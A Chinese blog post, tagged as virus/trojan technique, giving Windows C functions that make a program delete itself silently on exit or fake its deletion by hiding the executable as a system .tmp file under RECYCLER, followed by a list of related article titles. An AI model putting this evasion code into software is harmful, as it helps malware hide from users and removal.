[病毒木馬] 檔案自刪除
程式退出時刪除檔案
void DeleteApplicationSelf()
{
char szCommandLine[MAX_PATH + 10];
// 設定本程式為實時執行,快速退出。
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// 通知資源管理器不顯示本程式,當然如果程式沒有真正的刪除,重新整理資源管理器後仍會顯示出來的。
SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);
// 呼叫 cmd 傳入引數以刪除自己
sprintf(szCommandLine, "/c del /q %s", _pgmptr);
ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);
// 必須要有,否則程式在被結束時檔案會再生
ExitProcess(0);
}
製造程式被刪除的假象
其實是在另外一個地方建立了一個隱藏的 tmp 檔案,取代了原有的 exe
BOOL DelSelf()
{
BOOL ret = FALSE;
TCHAR FileName[MAX_PATH] = { 0 };
TCHAR NewFileName[MAX_PATH] = { 0 };
// 獲取自身檔案路徑
if (0 == GetModuleFileName(NULL, FileName, MAX_PATH))
{
goto end;
}
// 嘗試使用修改檔案屬性的方式刪除
SetFileAttributes(FileName, FILE_ATTRIBUTE_NORMAL);
if (DeleteFile(FileName))
{
ret = TRUE;
goto end;
}
// 再次嘗試刪除
wsprintf(NewFileName, "%c:\\RECYCLER\0", FileName[0]);
CreateDirectory(NewFileName, NULL);
if (0 == SetFileAttributes(NewFileName, FILE_ATTRIBUTE_HIDDEN))
{
goto end;
}
wsprintf(NewFileName, "%c:\\RECYCLER\\%x.tmp\0", FileName[0], GetTickCount());
if (0 == MoveFileEx(FileName, NewFileName, MOVEFILE_REPLACE_EXISTING))
{
goto end;
}
if (0 == SetFileAttributes(NewFileName, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM))
{
goto end;
}
ret = TRUE;
end:
return ret;
}
驅動強制刪除檔案
相關文章
- 利用msfvenom生成木馬檔案
- SVN !檔案刪除
- rm 刪除檔案
- Git——刪除檔案Git
- 如何還原鐵威馬NAS上刪除的檔案?
- Git刪除指定檔案Git
- Linux批量刪除檔案Linux
- dll檔案刪除不了
- Linux刪除檔案命令Linux
- 怎麼清理webshell木馬後門檔案Webshell
- win10休眠檔案有必要刪除嗎 刪除休眠檔案的方法Win10
- u盤裡的檔案無法刪除 如何刪除u盤裡刪不掉的檔案
- MySQL socket檔案被刪除MySql
- [20201112]tmpwatch 刪除檔案.txt
- linux 模糊批量刪除檔案Linux
- 刪除vmvare的大檔案
- 批量刪除大量小檔案
- 如何刪除win10更新檔案_win10刪除更新檔案的方法Win10
- 如何刪除win10睡眠檔案_win10怎麼刪除睡眠檔案Win10
- linux的刪除檔案命令和強制刪除命令Linux
- 20s刪除使用者檔案的incaseformat蠕蟲病毒大爆發!ORM
- win10怎麼刪除dll檔案_win10dll檔案刪除的方法Win10
- win10休眠檔案如何刪除 win10刪除休眠檔案的步驟Win10
- win10怎麼刪除更新檔案 win10刪除更新檔案的方法Win10
- git刪除未跟蹤檔案Git
- Git恢復刪除的檔案Git
- 刪除檔案中的數字
- git 刪除歷史指定檔案Git
- Mac新手教程——如何刪除檔案Mac
- RocketMQ -- 過期檔案的刪除MQ
- win10系統刪除檔案提示檔案正在使用無法刪除如何解決Win10
- 電腦刪除檔案時提示檔案已在另一程式開啟怎麼刪除
- 一開機就被病毒和木馬淹沒?GandCrab勒索病毒盯上你了!
- Linux基楚操作指引【檔案改名、檔案備份、檔案刪除】Linux
- 怎樣刪除w10更新檔案提示_win10更新檔案提示刪除如何操作Win10
- win10 upgrade檔案能刪除嗎 win10系統怎麼刪除upgrade檔案Win10
- c盤爆紅了可以刪除哪些檔案 怎樣刪除c盤非系統檔案
- 行動硬碟刪除的檔案能恢復嗎,怎麼恢復硬碟刪除的檔案硬碟